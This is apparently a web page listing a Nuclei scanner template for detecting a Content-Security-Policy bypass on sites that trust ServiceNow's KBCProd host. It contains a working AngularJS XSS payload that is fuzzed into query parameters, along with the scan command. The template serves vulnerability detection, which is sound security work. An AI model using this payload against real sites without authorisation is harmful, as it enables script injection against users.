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Content-Security-Policy Bypass - ServiceNow KBCProd

ID: servicenow-kbcprod-csp-bypass

Severity: medium

Author: renniepak,DhiyaneshDK

Tags: xss,csp-bypass,servicenow-kbcprod

id: servicenow-kbcprod-csp-bypass
info:
name: Content-Security-Policy Bypass - ServiceNow KBCProd
author: renniepak,DhiyaneshDK
severity: medium
reference:
- https://github.com/renniepak/CSPBypass/blob/main/data.tsv
metadata:
verified: true
tags: xss,csp-bypass,servicenow-kbcprod
flow: http(1) && headless(1)
http:
- method: GET
path:
- "{{BaseURL}}"
matchers:
- type: word
part: header
words:
- "Content-Security-Policy"
- "servicenow.com"
condition: and
internal: true
headless:
- steps:
- action: navigate
args:
url: "{{BaseURL}}"
- action: waitdialog
name: servicenow_kbcprod_csp_xss
args:
max-duration: 5s
payloads:
injection:
- <body ng-app ng-csp><script src="https://kbcprod.service-now.com/scripts/angular_includes_1.5.11.jsx"></script><input autofocus ng-focus="$event.composedPath()|orderBy:\'[].constructor.from([1],alert)\'"></body>
fuzzing:
- part: query
type: replace
mode: single
fuzz:
- "{{url_encode(injection)}}"
matchers:
- type: dsl
dsl:
- "servicenow_kbcprod_csp_xss == true"
# digest: 4a0a00473045022018b73965b2e3fe4ca716c45deb838ec0f55b5a9247d398b5be8b191a13450800022100b2616a8487359497659fb19e8b41c8b417435bf971bec3c4fef3cee7dc209e64:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "dast/vulnerabilities/xss/csp-bypass/servicenow-kbcprod-csp-bypass.yaml"

View on Github